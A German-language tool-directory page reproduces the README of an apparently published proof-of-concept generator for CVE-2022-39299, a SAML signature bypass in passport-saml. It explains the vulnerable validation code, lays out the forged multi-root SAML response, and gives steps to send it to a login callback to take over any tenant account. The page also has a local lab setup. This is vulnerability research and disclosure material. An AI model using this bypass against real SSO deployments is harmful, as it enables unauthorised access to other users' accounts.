Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-39299_PoC_Generator — Ein einfacher CVE-2022-39299 PoC-Exploit-Generator, um die Authentifizierung in SAML-SSO-Integrationen mit anfälligen Versionen von passport-saml zu umgehen | Kitploit
Tools/GitHubGitHub/doyensec/cve-2022-39299_poc_generator
Payload-GenerierungSchwachstellenanalyseExploitationWebsicherheitPenetrationstestsAuthentifizierung
GitHubdoyensec/cve-2022-39299_poc_generator

CVE-2022-39299_PoC_Generator

Ein einfacher CVE-2022-39299 PoC-Exploit-Generator, um die Authentifizierung in SAML-SSO-Integrationen mit anfälligen Versionen von passport-saml zu umgehen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
19248vor 3 JahrenNoch nicht geprüft
Teilen

Ausnutzung von CVE-2022-39299

Signaturumgehung durch mehrere Wurzelelemente

Advisory: https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
Patch: https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Beispiel-Payload aus node-saml Testfällen: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml

Fehlerautor: felixwilhelm
Autor des Exploit-Generators (Der einfache Teil): Francesco Lacerenza

Authentifizierungsumgehung in Multi-Tenant-Apps mit passport-saml für SAML SSO Integrationen

Beschreibung

Ein entfernter Angreifer kann die SAML SSO-Authentifizierung auf einer Plattform umgehen, indem er CVE-2022-39299 ausnutzt, das die Bibliothek passport-saml betrifft.

Ein öffentlicher Exploit war (zum Zeitpunkt des Schreibens) nicht verfügbar, und die Sicherheitsmeldung wurde am 10.12.2022 mit wenigen/keinen Informationen veröffentlicht. Doyensec hat einen funktionierenden Proof-of-Concept (PoC)-Generator entwickelt, um das Problem gegen Multi-Tenant-Plattformen zu verifizieren, bei denen der Tenant-Admin SAML SSO mit einem benutzerdefinierten IdP konfigurieren kann.

Wie in der Sicherheitsmeldung angegeben:

Ein erfolgreicher Angriff erfordert, dass der Angreifer im Besitz eines beliebigen IDP-signierten XML-Elements ist. Abhängig vom verwendeten IdP könnten auch vollständig nicht authentifizierte Angriffe (d. h. ohne Zugriff auf einen gültigen Benutzer) möglich sein, wenn die Erzeugung einer signierten Nachricht ausgelöst werden kann.

Die anfällige Prüfung befindet sich in der Funktion validatePostResponse in passport-saml-2.0.0/src/passport-saml/saml.ts:775

root@kitploit:~
// Überprüfen, ob dieses Dokument eine gültige Signatur auf oberster Ebene hat
      let validSignature = false;
      if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
        validSignature = true;
      }

Insbesondere prüft validateSignature, ob doc.documentElement im vollständigen XML-Dokument eine gültige Signatur enthält. Da die documentElement-Eigenschaft den ersten Wurzelknoten des Dokuments zurückgibt, wird nur die Signatur des ersten Wurzelelements überprüft.

Die Funktion fährt fort, indem sie prüft, ob es nur eine Assertion im XML gibt:

root@kitploit:~

      const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
      const encryptedAssertions = xmlCrypto.xpath(doc,
                                      "/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");

      if (assertions.length + encryptedAssertions.length > 1) {
        // Es gibt meines Wissens keinen Grund, mehrere Assertions zu behandeln, und es scheint ein
        //   potenzieller Risikovektor für Signaturbereichsprobleme zu sein, also behandeln wir dies als ungültige Signatur
        throw new Error('Ungültige Signatur: mehrere Assertions');
      }

Infolgedessen wird der XML-Parser ein XML-Dokument mit mehreren Wurzeln parsen. Während eine Signatur nur auf einen Wurzelknoten angewendet werden kann, kann XPath mehrere Wurzelknoten durchlaufen, um Authentifizierungs- und Autorisierungselemente zu finden.

Zusammenfassend kann ein Wurzelknoten signiert sein (z. B. eine generische SAML-Fehlermeldung), und ein anderer, unsignierter Knoten könnte modifizierbare Authentifizierungs- und Autorisierungsinformationen enthalten. Auf diese Weise kann der Angreifer die Authentifizierungsinformationen manipulieren und Zugriff auf jedes Konto innerhalb des Tenants erhalten.

HINWEIS: Der Erfolg des Exploits hängt vollständig von der internen Authentifizierungslogik ab, die die Verwendung der passport-Bibliothek betrifft. Wenn die Authentifizierungslogik dem authentifizierten Sitzungsobjekt, das aus passport.authenticate(...PASSPORT-SAML_OPTIONS...) resultiert, vollständig vertraut, ist es wahrscheinlich anfällig.

Reproduktionsschritte

  1. Generieren Sie ein neues Zertifikat & Schlüssel mit openssl im PoC-Generator-Ordner:
root@kitploit:~
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300

Alternativ verwenden Sie die in diesem Repository enthaltenen.

  1. Navigieren Sie in der Zielplattform als Admin zum SAML SSO Integrationspanel. Setzen Sie dann das Zertifikat, das zur Überprüfung von Signaturen vom IdP verwendet wird, auf dasjenige in diesem Ordner.

  2. Konfigurieren Sie die payload_appendix.xml mit den für die Plattform erforderlichen Authn- und Authz-Elementen, um SAML SSO-Benutzer zu authentifizieren. Diese Informationen finden Sie in der Dokumentation oder durch Aufbau einer funktionierenden SSO-Integration, um gültige Auth-Elemente zu erlernen.

  3. Führen Sie den folgenden Befehl aus, um eine signierte Multi-Root-Element-SAML-Antwort mit Ihren manipulierten Daten zu generieren.

root@kitploit:~
python3 payloadGenerator.py

Die Multi-Root-Element-SAML-Antwort hat die folgende Struktur:

root@kitploit:~
<!— BEGINN DER SIGNIERTEN FEHLERMELDUNG —>

<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
      <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
        </samlp:StatusCode>
      </samlp:StatusCode>
    </samlp:StatusCode>
    <samlp:StatusMessage>Zufälliger Fehler</samlp:StatusMessage>
  </samlp:Status>
</samlp:Response>

<!— ENDE DER SIGNIERTEN FEHLERMELDUNG. BEGINN DER UNSIGNIERTEN AUTHENTIFIZIERUNGSINFORMATIONEN—>

<Response>
<saml:Assertion ID="was auch immer" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— MANIPULIERTE AUTHN- & AUTHZ-INFORMATIONEN —>
</saml:Assertion>
  </Response>
  1. Rufen Sie den Login-Callback-Endpunkt mit der generierten Payload (bösartige SAML-Antwort) auf. Wenn die Authentifizierungslogik anfällig ist, wird ein neues Sitzungscookie für den manipulierten Benutzer ausgestellt.

HINWEIS: Wenn Sie dieses Problem ausnutzen möchten, ohne Zugriff auf die IdP-Konfiguration zu haben, ändern Sie einfach die payloadGenerator.py, indem Sie die Variable signed_base_payload_unicode ersetzen, die zum Erstellen der endgültigen Payload verwendet wird. Damit es funktioniert, müssen Sie sie durch eine signierte SAML-Antwort ohne Assertions ersetzen. Viel Glück beim Finden einer Möglichkeit, diese vom IdP des Ziels zu erhalten (von Fall zu Fall unterschiedliche Logik, es gibt keine Literatur dazu).

Auswirkungen und Komplexität

In Organisationen mit aktivierter SAML SSO-Integration könnten Angreifer die Authentifizierung umgehen und sich mit einem beliebigen Benutzer im Tenant anmelden.

Obwohl die Sicherheitsmeldung besagt, dass der Angreifer "ein beliebiges IDP-signiertes XML-Element" verwenden könnte, verhindert die passport-saml-Bibliothek jegliche XML-Nachricht, die mehrere Assertions enthält (siehe Code-Auszug im Beschreibungsabschnitt). Diese Einschränkung erfordert, dass der Angreifer eine signierte SAML-Nachricht ohne Assertion erhält, wie z. B. eine Fehlermeldung. Das Vorhandensein solcher Nachrichten hängt von der IdP-Implementierung ab.

Ein Beispiel: SAML-Antworten ohne Assertions werden direkt von der Auth0-Bibliothek node-samlp unterstützt.
Siehe https://github.com/auth0/node-samlp/blob/master/lib/samlp.js

root@kitploit:~
function buildSamlResponse(options) {
  var SAMLResponse = templates.samlresponse({
    id: '_' + utils.generateUniqueID(),
    instant: utils.generateInstant(),
    destination: options.destination || options.audience,
    inResponseTo: options.inResponseTo,
    issuer: options.issuer,
    samlStatusCode: options.samlStatusCode,
    samlStatusMessage: options.samlStatusMessage,
    assertion: options.samlAssertion || ''
  });

Das obige Beispiel zeigt die Möglichkeit, Codepfade zu signierten Nachrichten ohne Assertions auch bei Verwendung von Auth0-Technologie einzuführen. In diesem Sinne könnten Kunden-IdPs solche Muster enthalten.

Wenn ein Angreifer einen Weg findet, solche Nachrichten auszulösen, könnten vollständig nicht authentifizierte Angriffe (d. h. ohne Zugriff auf einen gültigen Benutzer) ebenfalls möglich sein.

Zusammenfassend: Multi-Tenant-Plattformen, die benutzerdefinierte SAML SSO-Integrationen pro Tenant erlauben, die von CVE-2022-39299 betroffen sind, ermöglichen potenziell Authentifizierungsumgehungen, wenn der IdP des Kunden signierte SAML-Fehlermeldungen ohne Assertions unterstützt.

Lokale Tests

Wir haben Tests lokal mit den folgenden Ressourcen durchgeführt:

  1. IdP - local-saml-idp von cultureamp

Generieren Sie das IdP-Signaturzertifikat im PoC-Generator-Ordner

root@kitploit:~
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300

Starten Sie den IdP mit dem folgenden Befehl in dem Ordner, der das generierte Zertifikat und den Schlüssel enthält

root@kitploit:~
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
  1. SP-App - passport-saml-example von gbraad

Die App benötigt zusätzliche Konfiguration, um mit einem lokalen IdP zu funktionieren. Füllen Sie einfach die Datei passport-saml-example/config/config.js mit Informationen vom IdP.

root@kitploit:~
passport: {
      strategy: 'saml',
      saml: {
        path: '/login/callback',
        entryPoint: 'http://localhost:7000/saml/sso',
        issuer: 'passport-saml',
        cert: 'HIER_DAS_ZERTIFIKAT_AUS_VORHERIGEM_SCHRITT_IN_EINER_ZEILE_EINGEFÜGT'
      }
    }

Außerdem muss package.json bearbeitet werden, um anfällige Versionen von passport zu verwenden. Extrahieren Sie alle benötigten Versionen aus dem Ziel-Codebase, falls verfügbar. Sobald fertig, starten Sie die Anwendung einfach:

root@kitploit:~
npm install
npm start
  1. Führen Sie die im Abschnitt Reproduktionsschritte beschriebenen Aktionen durch (beginnen Sie mit Schritt 3)
Tool herunterladen